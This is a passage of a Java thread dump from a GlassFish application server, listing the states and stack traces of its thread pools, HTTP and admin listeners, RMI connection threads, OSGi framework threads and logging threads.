java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-16-thread-1" #90 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-9-thread-1" #40 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI RenewClean-[192.168.215.4:8686]" #73 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@621351d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:748) + +"DestroyJavaVM" #69 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #93 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1801) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(3)" #52 daemon [WAITING] on java.lang.Object@1d5ee9f6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"pool-23-thread-1" #100 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI Scheduler(0)" #72 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3e132987 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Connection(2)-192.168.215.4" #75 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$15/991041905.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixStartLevel" #14 daemon [WAITING] on java.util.ArrayList@35991c56 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:279) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Accept-8686" #65 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:535) + at java.net.ServerSocket.implAccept(ServerSocket.java:545) + at java.net.ServerSocket.accept(ServerSocket.java:513) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:748) + +"Thread-10" #57 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18ef557e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(1)" #43 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@23944d1f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"iiop-service-kernel(1) SelectorRunner" #58 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:113) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:591) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(5)" #54 daemon [WAITING] on java.lang.Object@1d5ee9f6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(2)" #44 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@23944d1f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener-expirer(1)" #55 daemon [TIMED_WAITING] on java.lang.Object@35135573 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:172) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-1-thread-1" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11ff28b5 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11c630bb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(4)" #53 daemon [WAITING] on java.lang.Object@1d5ee9f6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(3)" #30 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@7b448cd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"Thread-9" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681f7908 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:144) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:123) + +"transaction-manager" #60 daemon [WAITING] on java.util.TaskQueue@789a1ff8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"RunLevelControllerThread-1754837795239" #17 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@1b3e5bcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11c630bb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@109b9ce + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"pool-7-thread-1" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32b95865 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"GlassFish Kernel Main Thread" #66 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@666e8d04 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:247) + +"pool-14-thread-1" #80 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3b7bc58f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(4)" #46 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@23944d1f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(2)" #29 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@7b448cd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"pool-4-thread-1" #27 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@68af2cf2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-5-thread-1" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2634c097 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixFrameworkWiring" #15 daemon [WAITING] on java.util.ArrayList@7eaf970 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:162) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11c630bb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"FelixDispatchQueue" #13 daemon [WAITING] on java.util.ArrayList@5dcb20d0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.util.EventDispatcher.run(EventDispatcher.java:1063) + at org.apache.felix.framework.util.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.util.EventDispatcher$1.run(EventDispatcher.java:101) + at java.lang.Thread.run(Thread.java:748) + +"Thread-27" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18ef557e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-10-thread-1" #39 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1-expirer(1)" #33 daemon [TIMED_WAITING] on java.lang.Object@3c696b8 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:172) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11c630bb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-7" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a64cef + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.enterprise.server.logging.GFFileHandler.log(GFFileHandler.java:825) + at com.sun.enterprise.server.logging.GFFileHandler$3.run(GFFileHandler.java:540) + +"http-listener-2-kernel(1) SelectorRunner" #49 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:113) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:591) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(4)" #31 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@7b448cd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at 